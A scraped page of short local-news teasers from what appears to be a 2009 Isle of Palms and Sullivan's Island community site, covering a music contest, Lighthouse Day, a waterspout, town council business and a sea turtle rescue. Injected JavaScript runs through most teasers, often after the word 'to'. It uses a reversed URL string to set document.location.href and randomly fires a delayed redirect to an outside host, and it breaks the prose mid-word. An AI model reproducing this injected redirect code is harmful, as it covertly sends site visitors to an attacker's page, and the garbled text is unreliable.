South Carolina bands and musicians have entered original songs for the Coastal Conservation League’s “Music with a Message” contest tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to convey their desire for a better world. Click HERE tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to watch the videos and vote for your favorite act! Winners perform live in …

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Lighten up! Celebrate National Lighthouse day on Saturday, August 8 Join the National Park Service as we celebrate National Lighthouse Day at the Sullivan’s Island Lighthouse on Saturday, August 8, 2009. An open house special event takes place from 10am tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 2pm on the grounds of the US Coast …

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By Dylan Sharek There used tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be a gangly oak tree in my Aunt Maureen’s backyard. No matter what time of day or the weather, you could find me, my sister, and cousins amidst its gnarled limbs. The tree consumed much of our summers, and our activities revolving around …

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Thanks tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Isle of Palms resident Joanie Teel for grabbing these snapshots from her roof of a waterspout forming over the ocean this past weekend. “I woke up this morning and saw this waterspout / tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tornado outside of my window,” she writes. “It was …

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Isle of Palms Town Council – July 28, 2009 Citizen’s ccomments Kellen Correia, representing the Friends of the Hunley, requested the Council’s permission for a small film crew from Half Yard Productions tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to film on the beach. The company has been contracted by National Geographic for a documentary about …

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Warm up for the 5th Annual Barrier Island ECOthon Provided by Brett Carlson Time tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to start stretching out those hamstrings and adding on tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to those early morning runs. The 5th Annual Barrier Island ECOthon will take place in three months on Sunday, Octobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var …

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Sullivan’s Island Town Council Staff Report Paving the way Council member Madeleine McGee met with Transportation Secretary Buck Limehouse to discuss several aspects of Sullivan’s Island traffic, including Middle Street repaving and traffic control devices. While the information had not been officially confirmed, McGee related that Middle Street repaving is not expected to begin until …

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PHOTOS BY: Barbara Bergwerf Turtle rescue takes a sad turn By Mary Pringle July is a busy time for boat traffic and a busy time for sea turtles on our islands. Recently, a sub-adult (juvenile) loggerhead was spotted in the Intracoastal Waterway at Dewees Inlet by the staff of the Barrier Islands Eco Tour boat …

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Dewees from within By Dylan Sharek To those living on the Isle of Palms, Sullivan’s Island, and Mount Pleasant, Dewees Island is a bit of an enigma. Many view it as an exclusive club, available only tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a handful of people wealthy enough tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; …

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Staff Report Even though Paul Tucker was sitting in a small office, his eyes weren’t seeing the pale walls and low light house plants. They were further away, watching thin bands of white ocean froth as they twisted in Escher-like patterns across the marine blue water. Still in his early 50s, Tucker is among a …

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